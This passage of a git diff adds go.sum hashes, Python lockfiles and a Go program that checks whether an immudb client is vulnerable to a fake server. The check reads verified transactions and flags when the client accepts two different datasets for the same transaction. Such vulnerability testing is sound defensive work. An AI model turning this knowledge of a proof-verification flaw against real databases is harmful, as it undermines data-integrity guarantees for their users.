v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210226172003-ab064af71705/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A= +google.golang.org/genproto v0.0.0-20210513213006-bf773b8c8384/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A= +google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= +google.golang.org/genproto v0.0.0-20210604141403-392c879c8b08/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= +google.golang.org/genproto v0.0.0-20210608205507-b6d2f5bf0d7d/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= +google.golang.org/genproto v0.0.0-20210624195500-8bfb893ecb84/go.mod h1:SzzZ/N+nwJDaO1kznhnlzqS8ocJICar6hYhVyhi++24= +google.golang.org/genproto v0.0.0-20210713002101-d411969a0d9a/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= +google.golang.org/genproto v0.0.0-20210716133855-ce7ef5c701ea/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= +google.golang.org/genproto v0.0.0-20210728212813-7823e685a01f/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= +google.golang.org/genproto v0.0.0-20210805201207-89edb61ffb67/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= +google.golang.org/genproto v0.0.0-20210813162853-db860fec028c/go.mod h1:cFeNkxwySK631ADgubI+/XFU/xp8FD5KIVV4rj8UC5w= +google.golang.org/genproto v0.0.0-20210821163610-241b8fcbd6c8/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210828152312-66f60bf46e71/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210831024726-fe130286e0e2/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210903162649-d08c68adba83/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210909211513-a8c4777a87af/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= +google.golang.org/genproto v0.0.0-20210924002016-3dee208752a0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211008145708-270636b82663/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211028162531-8db9c33dc351/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211118181313-81c1377c94b1/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211206160659-862468c7d6e0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20211221195035-429b39de9b1c/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20220126215142-9970aeb2e350/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20220207164111-0872dc986b00/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= +google.golang.org/genproto v0.0.0-20220218161850-94dd64e39d7c/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= +google.golang.org/genproto v0.0.0-20220222213610-43724f9ea8cf/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= +google.golang.org/genproto v0.0.0-20220304144024-325a89244dc8/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= +google.golang.org/genproto v0.0.0-20220310185008-1973136f34c6/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= +google.golang.org/genproto v0.0.0-20220324131243-acbaeb5b85eb/go.mod h1:hAL49I2IFola2sVEjAn7MEwsja0xp51I0tlGAf9hz4E= +google.golang.org/genproto v0.0.0-20220407144326-9054f6ed7bac/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220413183235-5e96e2839df9/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220414192740-2d67ff6cf2b4/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220421151946-72621c1f0bd3/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220429170224-98d788798c3e/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220505152158-f39f71e6c8f3/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= +google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd h1:e0TwkXOdbnH/1x5rc5MZ/VYyiZ4v+RdVfrGMqEwT68I= +google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= +google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= +google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= +google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= +google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= +google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= +google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= +google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= +google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= +google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= +google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= +google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= +google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= +google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= +google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= +google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= +google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= +google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= +google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.46.2 h1:u+MLGgVf7vRdjEYZ8wDFhAVNmhkbJ5hmrA1LMWK1CAQ= +google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= +google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= +google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= +google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= +google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= +google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= +google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= +google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw= +google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= +gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.57.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.62.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.66.4/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI= +gopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= +gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= +gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= +honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= +rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= +rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= +sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= diff --git a/docs/security/vulnerabilities/linear-fake/go/main.go b/docs/security/vulnerabilities/linear-fake/go/main.go new file mode 100644 index 0000000000..6879304386 --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/go/main.go @@ -0,0 +1,129 @@ +package main + +import ( + "context" + "fmt" + "log" + "os" + "path/filepath" + "strings" + + immudb "github.com/codenotary/immudb/pkg/client" + "github.com/codenotary/immudb/pkg/client/state" +) + +func verifyTxRead(client immudb.ImmuClient, txID uint64, stateService state.StateService) (string, error) { + + log.Printf("Reading Tx %d", txID) + + tx, err := client.VerifiedTxByID(context.Background(), txID) + if err != nil { + return "", err + } + log.Printf(" Keys from verified read:") + key := "" + for _, e := range tx.GetEntries() { + key = string(e.GetKey()) + log.Printf(" %s", key) + } + if len(tx.GetEntries()) != 1 { + return "", fmt.Errorf( + "Invalid test dataset - expected only a single key in transaction %d, found %d", + txID, + len(tx.GetEntries()), + ) + } + + err = stateService.CacheLock() + if err != nil { + return "", err + } + + state, err := stateService.GetState(context.Background(), "defaultdb") + if err != nil { + return "", err + } + log.Print(" Client verified state:") + log.Printf(" TxID: %d", state.TxId) + log.Printf(" Hash: %x", state.TxHash) + + err = stateService.CacheUnlock() + if err != nil { + return "", err + } + + return key, nil +} + +func checkCorruptedErr(err error) bool { + if err == nil { + return false + } + + if strings.Contains(err.Error(), "corrupted") { + log.Print("SUCCESS: Client version not vulnerable") + return true + } + + log.Fatal(err) + return false +} + +func main() { + opts := immudb.DefaultOptions(). + WithAddress("localhost"). + WithPort(3322) + + ctx := context.Background() + + // Remove any old state that could be problematic here, + // The test needs to perform test starting with no state + list, err := filepath.Glob(".state-*") + if err != nil { + log.Fatal(err) + } + for _, e := range list { + err := os.Remove(e) + if err != nil { + log.Fatal(err) + } + } + + client := immudb.NewClient().WithOptions(opts) + err = client.OpenSession(ctx, []byte(`immudb`), []byte(`immudb`), "defaultdb") + if err != nil { + log.Fatal(err) + } + + defer client.CloseSession(ctx) + + key2, err := verifyTxRead(client, 2, client.StateService) + if err != nil { + log.Fatal(err) + } + + _, err = verifyTxRead(client, 3, client.StateService) + if checkCorruptedErr(err) { + return + } + + _, err = verifyTxRead(client, 5, client.StateService) + if checkCorruptedErr(err) { + return + } + + key2Fake, err := verifyTxRead(client, 2, client.StateService) + if checkCorruptedErr(err) { + return + } + + if key2 == key2Fake { + log.Fatal("WARNING: Confusing results - are you running against normal immudb server?") + } + + log.Fatalf( + "FAILURE: Client is vulnerable, was able to read two different datasets for same transaction: '%s' and '%s'", + key2, + key2Fake, + ) +} diff --git a/docs/security/vulnerabilities/linear-fake/python/Pipfile b/docs/security/vulnerabilities/linear-fake/python/Pipfile new file mode 100644 index 0000000000..5eaf79346d --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/python/Pipfile @@ -0,0 +1,12 @@ +[[source]] +url = "https://pypi.python.org/simple" +verify_ssl = true +name = "pypi" + +[packages] +immudb-py = "*" + +[dev-packages] + +[requires] +python_version = "3.8" diff --git a/docs/security/vulnerabilities/linear-fake/python/Pipfile.lock b/docs/security/vulnerabilities/linear-fake/python/Pipfile.lock new file mode 100644 index 0000000000..a2fe66f494 --- /dev/null +++ b/docs/security/vulnerabilities/linear-fake/python/Pipfile.lock @@ -0,0 +1,251 @@ +{ + "_meta": { + "hash": { + "sha256": "13b63870e34dcc018caaef61a1d2f28e2b11cfe6f9d2f6f936d110c4734c59e8" + }, + "pipfile-spec": 6, + "requires": { + "python_version": "3.8" + }, + "sources": [ + { + "name": "pypi", + "url": "https://pypi.python.org/simple", + "verify_ssl": true + } + ] + }, + "default": { + "appier": { + "hashes": [ + "sha256:7a1d01c827d17c733e4ffcb8f1f0a0391fbff367325d0758b2f0742557981243", + "sha256:fe8403ba8b8ca49ea9b8c9c1b6e37e4b505a702cc9c84dd2fcb0a6e50bbcec04" + ], + "version": "==1.30.0" + }, + "cachetools": { + "hashes": [ + "sha256:6a94c6402995a99c3970cc7e4884bb60b4a8639938157eeed436098bf9831757", + "sha256:f9f17d2aec496a9aa6b76f53e3b614c965223c061982d434d160f930c698a9db" + ], + "version": "==5.2.0" + }, + "certifi": { + "hashes": [ + "sha256:84c85a9078b11105f04f3036a9482ae10e4621616db313fe045dd24743a0820d", + "sha256:fe86415d55e84719d75f8b69414f6438ac3547d2078ab91b67e779ef69378412" + ], + "version": "==2022.6.15" + }, + "charset-normalizer": { + "hashes": [ + "sha256:5a3d016c7c547f69d6f81fb0db9449ce888b418b5b9952cc5e6e66843e9dd845", + "sha256:83e9a75d1911279afd89352c68b45348559d1fc0506b054b346651b5e7fee29f" + ], + "version": "==2.1.1" + }, + "dataclasses": { + "hashes": [ + "sha256:0201d89fa866f68c8ebd9d08ee6ff50c0b255f8ec63a71c16fda7af82bb887bf", + "sha256:8479067f342acf957dc82ec415d355ab5edb7e7646b90dc6e2fd1d96ad084c97" + ], + "version": "==0.8" + }, + "ecdsa": { + "hashes": [ + "sha256:190348041559e21b22a1d65cee485282ca11a6f81d503fddb84d5017e9ed1e49", + "sha256:80600258e7ed2f16b9aa1d7c295bd70194109ad5a30fdee0eaeefef1d4c559dd" + ], + "version": "==0.18.0" + }, + "google-api": { + "hashes": [ + "sha256:5611c87cdfc6b72927a5e2ea9299ddd6f3a206e29a342b86d3ff3ecc351c30a3", + "sha256:618f9f2076482a128c408867b5398b291938fe8e653ed7f8ed58fce5042f0c75" + ], + "version": "==0.1.12" + }, + "google-api-core": { + "hashes": [ + "sha256:06f7244c640322b508b125903bb5701bebabce8832f85aba9335ec00b3d02edc", + "sha256:93c6a91ccac79079ac6bbf8b74ee75db970cc899278b97d53bc012f35908cf50" + ], + "version": "==2.8.2" + }, + "google-auth": { + "hashes": [ + "sha256:be62acaae38d0049c21ca90f27a23847245c9f161ff54ede13af2cb6afecbac9", + "sha256:ed65ecf9f681832298e29328e1ef0a3676e3732b2e56f41532d45f70a22de0fb" + ], + "version": "==2.11.0" + }, + "googleapis-common-protos": { + "hashes": [ + "sha256:8eb2cbc91b69feaf23e32452a7ae60e791e09967d81d4fcc7fc388182d1bd394", + "sha256:c25873c47279387cfdcbdafa36149887901d36202cb645a0e4f29686bf6e4417" + ], + "version": "==1.56.4" + }, + "grpcio": { + "hashes": [ + "sha256:0388da923dff58ba7f711233e41c2b749b5817b8e0f137a107672d9c15a1009c", + "sha256:059e9d58b5aba7fb9eabe3a4d2ac49e1dcbc2b54b0f166f6475e40b7f4435343", + "sha256:0ecba22f25ccde2442be7e7dd7fa746905d628f03312b4a0c9961f0d99771f53", + "sha256:111fb2f5f4a069f331ae23106145fd16dd4e1112ca223858a922068614dac6d2", + "sha256:13dad31f5155fa555d393511cc8108c41b1b5b54dc4c24c27d4694ddd7a78fad", + "sha256:1f3f142579f58def64c0850f0bb0eb1b425ae885f5669dda5b73ade64ad2b753", + "sha256:2138c50331232f56178c2b36dcfa6ad67aad705fe410955f3b2a53d722191b89", + "sha256:34f5917f0c49a04633dc12d483c8aee6f6d9f69133b700214d3703f72a72f501", + "sha256:41b65166779d7dafac4c98380ac19f690f1c5fe18083a71d370df87b24dd30ff", + "sha256:448d397fe88e9fef8170f019b86abdc4d554ae311aaf4dbff1532fde227d3308", + "sha256:4a049a032144641ed5d073535c0dc69eb6029187cc729a66946c86dcc8eec3a1", + "sha256:59284bd4cdf47c147c26d91aca693765318d524328f6ece2a1a0b85a12a362af", + "sha256:5bd8541c4b6b43c9024496d30b4a12346325d3a17a1f3c80ad8924caed1e35c3", + "sha256:5fe3af539d2f50891ed93aed3064ffbcc38bf848aa3f7ed1fbedcce139c57302", + "sha256:60843d8184e171886dd7a93d6672e2ef0b08dfd4f88da7421c10b46b6e031ac4", + "sha256:656c6f6f7b815bca3054780b8cdfa1e4e37cd36c887a48558d00c2cf85f31697", + "sha256:7b820696a5ce7b98f459f234698cb323f89b355373789188efa126d7f47a2a92", + "sha256:7cccbf6db31f2a78e1909047ff69620f94a4e6e53251858e9502fbbff5714b48", + "sha256:7cebcf645170f0c82ef71769544f9ac4515993a4d367f5900aba2eb4ecd2a32f", + "sha256:7df637405de328a54c1c8c08a3206f974c7a577730f90644af4c3400b7bfde2d", + "sha256:7ec264a7fb413e0c804a7a48a6f7d7212742955a60724c44d793da35a8f30873", + "sha256:877d33aeba05ae0b9e81761a694914ed33613f655c35f6bbcf4ebbcb984e0167", + "sha256:8af3a8845df35b838104d6fb1ae7f4969d248cf037fa2794916d31e917346f72", + "sha256:8dcffdb8921fd88857ae350fd579277a5f9315351e89ed9094ef28927a46d40d", + "sha256:8f9b6b6f7c83869d2316c5d13f953381881a16741275a34ec5ed5762f11b206e", + "sha256:9daa67820fafceec6194ed1686c1783816e62d6756ff301ba93e682948836846", + "sha256:9e73b95969a579798bfbeb85d376695cce5172357fb52e450467ceb8e7365152", + "sha256:a1ef40975ec9ced6c17ce7fbec9825823da782fa606f0b92392646ff3886f198", + "sha256:a2b1b33b92359388b8164807313dcbb3317101b038a5d54342982560329d958f", + "sha256:a4ed57f4e3d91259551e6765782b22d9e8b8178fec43ebf8e1b2c392c4ced37b", + "sha256:ae3fd135666448058fe277d93c10e0f18345fbcbb015c4642de2fa3db6f0c205", + "sha256:af2d80f142da2a6af45204a5ca2374e2747af07a99de54a1164111e169a761ff", + "sha256:b4e996282238943ca114628255be61980e38b25f73a08ae2ffd02b63eaf70d3a", + "sha256:b890e5f5fbc21cb994894f73ecb2faaa66697d8debcb228a5adb0622b9bec3b2", + "sha256:beb0573daa49889efcfea0a6e995b4f39d481aa1b94e1257617406ef417b56a6", + "sha256:c84b9d90b2641963de98b35bb7a2a51f78119fe5bd00ef27246ba9f4f0835e36", + "sha256:cba4538e8a2ef123ea570e7b1d62162e158963c2471e35d79eb9690c971a10c0", + "sha256:cc3ebfe356c0c6750379cd194bf2b7e5d1d2f29db1832358f05a73e9290db98c", + 